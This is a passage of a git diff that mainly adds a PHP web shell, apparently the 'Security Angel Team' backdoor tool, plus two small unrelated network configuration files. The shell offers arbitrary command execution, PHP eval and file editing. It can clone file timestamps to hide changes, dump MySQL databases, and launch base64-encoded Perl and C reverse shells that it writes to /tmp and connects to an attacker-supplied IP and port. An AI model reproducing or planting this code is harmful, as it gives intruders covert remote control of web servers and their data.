'); + p(''); + makehide('action','sqladmin'); + p($dbform); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + if ($highver) { + p(''); + p(''); + } + p(''); + foreach ($tabledb as $key => $table) { + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + if ($highver) { + p(''); + p(''); + } + p(''); + } + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + + p(""); + makehide('doing','backupmysql'); + formfoot(); + p("
NameRowsData_lengthCreate_timeUpdate_timeEngineCollation
'.$table['Name'].' [ Insert | Structure | Drop ]'.$table['Rows'].''.$table['Data_length'].''.$table['Create_time'].''.$table['Update_time'].''.$table['Engine'].''.$table['Collation'].'
 Total tables: '.$table_num.''.$table_rows.''.$data_size.' 
Save as file
"); + fr($query); + } + } + } + tbfoot(); + @mysql_close(); +}//end sql backup + + +elseif ($action == 'backconnect') { + !$yourip && $yourip = $_SERVER['REMOTE_ADDR']; + !$yourport && $yourport = '12345'; + $usedb = array('perl'=>'perl','c'=>'c'); + + $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". + "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". + "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". + "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". + "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". + "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". + "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". + "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". + "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". + "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". + "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". + "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". + "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". + "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; + + if ($start && $yourip && $yourport && $use){ + if ($use == 'perl') { + cf('/tmp/angel_bc',$back_connect); + $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &"); + } else { + cf('/tmp/angel_bc.c',$back_connect_c); + $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); + @unlink('/tmp/angel_bc.c'); + $res = execute("/tmp/angel_bc $yourip $yourport &"); + } + m("Now script try connect to $yourip port $yourport ..."); + } + + formhead(array('title'=>'Back Connect')); + makehide('action','backconnect'); + p('

'); + p('Your IP:'); + makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip)); + p('Your Port:'); + makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport)); + p('Use:'); + makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use)); + makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt')); + p('

'); + formfoot(); +}//end sql backup + +elseif ($action == 'eval') { + $phpcode = trim($phpcode); + if($phpcode){ + if (!preg_match('#<\?#si', $phpcode)) { + $phpcode = ""; + } + eval("?".">$phpcode'Eval PHP Code')); + makehide('action','eval'); + maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode)); + p('

Get plugins

'); + formfooter(); +}//end eval + +elseif ($action == 'editfile') { + if(file_exists($opfile)) { + $fp=@fopen($opfile,'r'); + $contents=@fread($fp, filesize($opfile)); + @fclose($fp); + $contents=htmlspecialchars($contents); + } + formhead(array('title'=>'Create / Edit File')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1)); + maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents)); + formfooter(); +}//end editfile + +elseif ($action == 'newtime') { + $opfilemtime = @filemtime($opfile); + //$time = strtotime("$year-$month-$day $hour:$minute:$second"); + $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12); + formhead(array('title'=>'Clone file was last modified time')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); + makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1)); + formfooter(); + formhead(array('title'=>'Set last modified')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); + p('

Instead »'); + p('year:'); + makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4)); + p('month:'); + makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2)); + p('day:'); + makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2)); + p('hour:'); + makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2)); + p('minute:'); + makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2)); + p('second:'); + makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2)); + p('

'); + formfooter(); +}//end newtime + +elseif ($action == 'shell') { + if (IS_WIN && IS_COM) { + if($program && $parameter) { + $shell= new COM('Shell.Application'); + $a = $shell->ShellExecute($program,$parameter); + m('Program run has '.(!$a ? 'success' : 'fail')); + } + !$program && $program = 'c:\windows\system32\cmd.exe'; + !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt'; + formhead(array('title'=>'Execute Program')); + makehide('action','shell'); + makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1)); + p('

'); + makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter)); + makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); + p('

'); + formfoot(); + } + formhead(array('title'=>'Execute Command')); + makehide('action','shell'); + if (IS_WIN && IS_COM) { + $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open'); + makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1)); + } + p('

'); + makeinput(array('title'=>'Command','name'=>'command','value'=>$command)); + makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); + p('

'); + formfoot(); + + if ($command) { + p('
');
+		if ($execfunc=='wscript' && IS_WIN && IS_COM) {
+			$wsh = new COM('WScript.shell');
+			$exec = $wsh->exec('cmd.exe /c '.$command);
+			$stdout = $exec->StdOut();
+			$stroutput = $stdout->ReadAll();
+			echo $stroutput;
+		} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
+			$descriptorspec = array(
+			   0 => array('pipe', 'r'),
+			   1 => array('pipe', 'w'),
+			   2 => array('pipe', 'w')
+			);
+			$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
+			if (is_resource($process)) {
+				fwrite($pipes[0], $command."\r\n");
+				fwrite($pipes[0], "exit\r\n");
+				fclose($pipes[0]);
+				while (!feof($pipes[1])) {
+					echo fgets($pipes[1], 1024);
+				}
+				fclose($pipes[1]);
+				while (!feof($pipes[2])) {
+					echo fgets($pipes[2], 1024);
+				}
+				fclose($pipes[2]);
+				proc_close($process);
+			}
+		} else {
+			echo(execute($command));
+		}
+		p('
'); + } +}//end shell + +elseif ($action == 'phpenv') { + $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed'; + $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'); + !$dis_func && $dis_func = 'No'; + $info = array( + 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)), + 2 => array('Server Domain',$_SERVER['SERVER_NAME']), + 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])), + 4 => array('Server OS',PHP_OS), + 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']), + 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']), + 7 => array('Server Web Port',$_SERVER['SERVER_PORT']), + 8 => array('PHP run mode',strtoupper(php_sapi_name())), + 9 => array('The file path',__FILE__), + + 10 => array('PHP Version',PHP_VERSION), + 11 => array('PHPINFO',(IS_PHPINFO ? 'Yes' : 'No')), + 12 => array('Safe Mode',getcfg('safe_mode')), + 13 => array('Administrator',$adminmail), + 14 => array('allow_url_fopen',getcfg('allow_url_fopen')), + 15 => array('enable_dl',getcfg('enable_dl')), + 16 => array('display_errors',getcfg('display_errors')), + 17 => array('register_globals',getcfg('register_globals')), + 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')), + 19 => array('memory_limit',getcfg('memory_limit')), + 20 => array('post_max_size',getcfg('post_max_size')), + 21 => array('upload_max_filesize',$upsize), + 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'), + 23 => array('disable_functions',$dis_func), + ); + + if($phpvarname) { + m($phpvarname .' : '.getcfg($phpvarname)); + } + + formhead(array('title'=>'Server environment')); + makehide('action','phpenv'); + makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1)); + formfooter(); + + $hp = array(0=> 'Server', 1=> 'PHP'); + for($a=0;$a<2;$a++) { + p('

'.$hp[$a].' »

'); + p(''); + } +}//end phpenv + +else { + m('Undefined Action'); +} + +?> + +
+ + Copyright (C) 2004-2008 Security Angel Team [S4T] All Rights Reserved. +
+ + + +'; + echo $msg; + echo ''; +} +function scookie($key, $value, $life = 0, $prefix = 1) { + global $admin, $timestamp, $_SERVER; + $key = ($prefix ? $admin['cookiepre'] : '').$key; + $life = $life ? $life : $admin['cookielife']; + $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0; + setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport); +} +function multi($num, $perpage, $curpage, $tablename) { + $multipage = ''; + if($num > $perpage) { + $page = 10; + $offset = 5; + $pages = @ceil($num / $perpage); + if($page > $pages) { + $from = 1; + $to = $pages; + } else { + $from = $curpage - $offset; + $to = $curpage + $page - $offset - 1; + if($from < 1) { + $to = $curpage + 1 - $from; + $from = 1; + if(($to - $from) < $page && ($to - $from) < $pages) { + $to = $page; + } + } elseif($to > $pages) { + $from = $curpage - $pages + $to; + $to = $pages; + if(($to - $from) < $page && ($to - $from) < $pages) { + $from = $pages - $page + 1; + } + } + } + $multipage = ($curpage - $offset > 1 && $pages > $page ? 'First ' : '').($curpage > 1 ? 'Prev ' : ''); + for($i = $from; $i <= $to; $i++) { + $multipage .= $i == $curpage ? $i.' ' : '['.$i.'] '; + } + $multipage .= ($curpage < $pages ? 'Next' : '').($to < $pages ? ' Last' : ''); + $multipage = $multipage ? '

Pages: '.$multipage.'

' : ''; + } + return $multipage; +} +// 登陆入口 +function loginpage() { +?> + + + Password: + + + +Can not connect to MySQL server'); + exit; + } + if($link && $dbname) { + if (!@mysql_select_db($dbname, $link)) { + p('

Database selected has error

'); + exit; + } + } + if($link && mysql_get_server_info() > '4.1') { + if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) { + q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link); + } + } + return $link; +} + +// 去掉转义字符 +function s_array(&$array) { + if (is_array($array)) { + foreach ($array as $k => $v) { + $array[$k] = s_array($v); + } + } else if (is_string($array)) { + $array = stripslashes($array); + } + return $array; +} + +// 清除HTML代码 +function html_clean($content) { + $content = htmlspecialchars($content); + $content = str_replace("\n", "
", $content); + $content = str_replace(" ", "  ", $content); + $content = str_replace("\t", "    ", $content); + return $content; +} + +// 获取权限 +function getChmod($filepath){ + return substr(base_convert(@fileperms($filepath),10,8),-4); +} + +function getPerms($filepath) { + $mode = @fileperms($filepath); + if (($mode & 0xC000) === 0xC000) {$type = 's';} + elseif (($mode & 0x4000) === 0x4000) {$type = 'd';} + elseif (($mode & 0xA000) === 0xA000) {$type = 'l';} + elseif (($mode & 0x8000) === 0x8000) {$type = '-';} + elseif (($mode & 0x6000) === 0x6000) {$type = 'b';} + elseif (($mode & 0x2000) === 0x2000) {$type = 'c';} + elseif (($mode & 0x1000) === 0x1000) {$type = 'p';} + else {$type = '?';} + + $owner['read'] = ($mode & 00400) ? 'r' : '-'; + $owner['write'] = ($mode & 00200) ? 'w' : '-'; + $owner['execute'] = ($mode & 00100) ? 'x' : '-'; + $group['read'] = ($mode & 00040) ? 'r' : '-'; + $group['write'] = ($mode & 00020) ? 'w' : '-'; + $group['execute'] = ($mode & 00010) ? 'x' : '-'; + $world['read'] = ($mode & 00004) ? 'r' : '-'; + $world['write'] = ($mode & 00002) ? 'w' : '-'; + $world['execute'] = ($mode & 00001) ? 'x' : '-'; + + if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';} + if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';} + if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';} + + return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute']; +} + +function getUser($filepath) { + if (function_exists('posix_getpwuid')) { + $array = @posix_getpwuid(@fileowner($filepath)); + if ($array && is_array($array)) { + return ' / '.$array['name'].''; + } + } + return ''; +} + +// 删除目录 +function deltree($deldir) { + $mydir=@dir($deldir); + while($file=$mydir->read()) { + if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { + @chmod($deldir.'/'.$file,0777); + deltree($deldir.'/'.$file); + } + if (is_file($deldir.'/'.$file)) { + @chmod($deldir.'/'.$file,0777); + @unlink($deldir.'/'.$file); + } + } + $mydir->close(); + @chmod($deldir,0777); + return @rmdir($deldir) ? 1 : 0; +} + +// 表格行间的背景色替换 +function bg() { + global $bgc; + return ($bgc++%2==0) ? 'alt1' : 'alt2'; +} + +// 获取当前的文件系统路径 +function getPath($scriptpath, $nowpath) { + if ($nowpath == '.') { + $nowpath = $scriptpath; + } + $nowpath = str_replace('\\', '/', $nowpath); + $nowpath = str_replace('//', '/', $nowpath); + if (substr($nowpath, -1) != '/') { + $nowpath = $nowpath.'/'; + } + return $nowpath; +} + +// 获取当前目录的上级目录 +function getUpPath($nowpath) { + $pathdb = explode('/', $nowpath); + $num = count($pathdb); + if ($num > 2) { + unset($pathdb[$num-1],$pathdb[$num-2]); + } + $uppath = implode('/', $pathdb).'/'; + $uppath = str_replace('//', '/', $uppath); + return $uppath; +} + +// 检查PHP配置参数 +function getcfg($varname) { + $result = get_cfg_var($varname); + if ($result == 0) { + return 'No'; + } elseif ($result == 1) { + return 'Yes'; + } else { + return $result; + } +} + +// 检查函数情况 +function getfun($funName) { + return (false !== function_exists($funName)) ? 'Yes' : 'No'; +} + +function GetList($dir){ + global $dirdata,$j,$nowpath; + !$j && $j=1; + if ($dh = opendir($dir)) { + while ($file = readdir($dh)) { + $f=str_replace('//','/',$dir.'/'.$file); + if($file!='.' && $file!='..' && is_dir($f)){ + if (is_writable($f)) { + $dirdata[$j]['filename']=str_replace($nowpath,'',$f); + $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); + $dirdata[$j]['dirchmod']=getChmod($f); + $dirdata[$j]['dirperm']=getPerms($f); + $dirdata[$j]['dirlink']=ue($dir); + $dirdata[$j]['server_link']=$f; + $dirdata[$j]['client_link']=ue($f); + $j++; + } + GetList($f); + } + } + closedir($dh); + clearstatcache(); + return $dirdata; + } else { + return array(); + } +} + +function qy($sql) { + //echo $sql.'
'; + $res = $error = ''; + if(!$res = @mysql_query($sql)) { + return 0; + } else if(is_resource($res)) { + return 1; + } else { + return 2; + } + return 0; +} + +function q($sql) { + return @mysql_query($sql); +} + +function fr($qy){ + mysql_free_result($qy); +} + +function sizecount($size) { + if($size > 1073741824) { + $size = round($size / 1073741824 * 100) / 100 . ' G'; + } elseif($size > 1048576) { + $size = round($size / 1048576 * 100) / 100 . ' M'; + } elseif($size > 1024) { + $size = round($size / 1024 * 100) / 100 . ' K'; + } else { + $size = $size . ' B'; + } + return $size; +} + +// 压缩打包类 +class PHPZip{ + var $out=''; + function PHPZip($dir) { + if (@function_exists('gzcompress')) { + $curdir = getcwd(); + if (is_array($dir)) $filelist = $dir; + else{ + $filelist=$this -> GetFileList($dir);//文件列表 + foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1); + } + if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir); + else chdir($curdir); + if (count($filelist)>0){ + foreach($filelist as $filename){ + if (is_file($filename)){ + $fd = fopen ($filename, 'r'); + $content = @fread ($fd, filesize($filename)); + fclose ($fd); + if (is_array($dir)) $filename = basename($filename); + $this -> addFile($content, $filename); + } + } + $this->out = $this -> file(); + chdir($curdir); + } + return 1; + } + else return 0; + } + + // 获得指定目录文件列表 + function GetFileList($dir){ + static $a; + if (is_dir($dir)) { + if ($dh = opendir($dir)) { + while ($file = readdir($dh)) { + if($file!='.' && $file!='..'){ + $f=$dir .'/'. $file; + if(is_dir($f)) $this->GetFileList($f); + $a[]=$f; + } + } + closedir($dh); + } + } + return $a; + } + + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } // end if + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + + function addFile($data, $name, $time = 0) { + $name = str_replace('\\', '/', $name); + + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $c_len = strlen($zdata); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + + $this -> datasec[] = $fr; + $new_offset = strlen(implode('', $this->datasec)); + + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset = $new_offset; + $cdrec .= $name; + + $this -> ctrl_dir[] = $cdrec; + } + + function file() { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00"; + } +} + +// 备份数据库 +function sqldumptable($table, $fp=0) { + $tabledump = "DROP TABLE IF EXISTS $table;\n"; + $tabledump .= "CREATE TABLE $table (\n"; + + $firstfield=1; + + $fields = q("SHOW FIELDS FROM $table"); + while ($field = mysql_fetch_array($fields)) { + if (!$firstfield) { + $tabledump .= ",\n"; + } else { + $firstfield=0; + } + $tabledump .= " $field[Field] $field[Type]"; + if (!empty($field["Default"])) { + $tabledump .= " DEFAULT '$field[Default]'"; + } + if ($field['Null'] != "YES") { + $tabledump .= " NOT NULL"; + } + if ($field['Extra'] != "") { + $tabledump .= " $field[Extra]"; + } + } + fr($fields); + + $keys = q("SHOW KEYS FROM $table"); + while ($key = mysql_fetch_array($keys)) { + $kname=$key['Key_name']; + if ($kname != "PRIMARY" && $key['Non_unique'] == 0) { + $kname="UNIQUE|$kname"; + } + if(!is_array($index[$kname])) { + $index[$kname] = array(); + } + $index[$kname][] = $key['Column_name']; + } + fr($keys); + + while(list($kname, $columns) = @each($index)) { + $tabledump .= ",\n"; + $colnames=implode($columns,","); + + if ($kname == "PRIMARY") { + $tabledump .= " PRIMARY KEY ($colnames)"; + } else { + if (substr($kname,0,6) == "UNIQUE") { + $kname=substr($kname,7); + } + $tabledump .= " KEY $kname ($colnames)"; + } + } + + $tabledump .= "\n);\n\n"; + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + + $rows = q("SELECT * FROM $table"); + $numfields = mysql_num_fields($rows); + while ($row = mysql_fetch_array($rows)) { + $tabledump = "INSERT INTO $table VALUES("; + + $fieldcounter=-1; + $firstfield=1; + while (++$fieldcounter<$numfields) { + if (!$firstfield) { + $tabledump.=", "; + } else { + $firstfield=0; + } + + if (!isset($row[$fieldcounter])) { + $tabledump .= "NULL"; + } else { + $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'"; + } + } + + $tabledump .= ");\n"; + + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + } + fr($rows); + if ($fp) { + fwrite($fp,"\n"); + } else { + echo "\n"; + } +} + +function ue($str){ + return urlencode($str); +} + +function p($str){ + echo $str."\n"; +} + +function tbhead() { + p(''); +} +function tbfoot(){ + p('
'); +} + +function makehide($name,$value=''){ + p(""); +} + +function makeinput($arg = array()){ + $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\""; + $arg['extra'] = $arg['extra'] ? $arg['extra'] : ''; + !$arg['type'] && $arg['type'] = 'text'; + $arg['title'] = $arg['title'] ? $arg['title'].'
' : ''; + $arg['class'] = $arg['class'] ? $arg['class'] : 'input'; + if ($arg['newline']) { + p("

$arg[title]

"); + } else { + p("$arg[title]"); + } +} + +function makeselect($arg = array()){ + if ($arg['onchange']) { + $onchange = 'onchange="'.$arg['onchange'].'"'; + } + $arg['title'] = $arg['title'] ? $arg['title'] : ''; + if ($arg['newline']) p('

'); + p("$arg[title] "); + if ($arg['newline']) p('

'); +} +function formhead($arg = array()) { + !$arg['method'] && $arg['method'] = 'post'; + !$arg['action'] && $arg['action'] = $self; + $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : ''; + !$arg['name'] && $arg['name'] = 'form1'; + p("
"); + if ($arg['title']) { + p('

'.$arg['title'].' »

'); + } +} + +function maketext($arg = array()){ + !$arg['cols'] && $arg['cols'] = 100; + !$arg['rows'] && $arg['rows'] = 25; + $arg['title'] = $arg['title'] ? $arg['title'].'
' : ''; + p("

$arg[title]

"); +} + +function formfooter($name = ''){ + !$name && $name = 'submit'; + p('

'); + p('
'); +} + +function formfoot(){ + p(''); +} + +// 调试函数 +function pr($a) { + echo '
';
+	print_r($a);
+	echo '
'; +} + +?> \ No newline at end of file diff --git a/routeos_from_chnroute.sh b/routeos_from_chnroute.sh new file mode 100644 index 0000000..97a5b25 --- /dev/null +++ b/routeos_from_chnroute.sh @@ -0,0 +1,8 @@ +#璁剧疆澶栫綉鎺ュ彛 + dev=wan + #鍙栧緱鏂囦欢杩涜璁$畻 + wget http://chnroutes.googlecode.com/files/routes.txt -q -O - |awk '{print $2,$3}' |while read line; +do +ipcalc $line |grep -oP '\d+\.\d+\.\d+\.\d+\/\d{1,2}' +done |awk -v dev=$dev '{print "ip route add dst-address="$1" gateway="dev}' + diff --git a/untitled.txt b/untitled.txt new file mode 100644 index 0000000..6071a74 --- /dev/null +++ b/untitled.txt @@ -0,0 +1,7 @@ +SERIAL 0 19200 0 + +default pxeboot +timeout 10 +label pxeboot + kernel vmlinuz + append initrd=initrd.gz installsource=http://192.168.1.225/hsrouter_V8_final_Build20110316.iso console=ttyS0,19200n81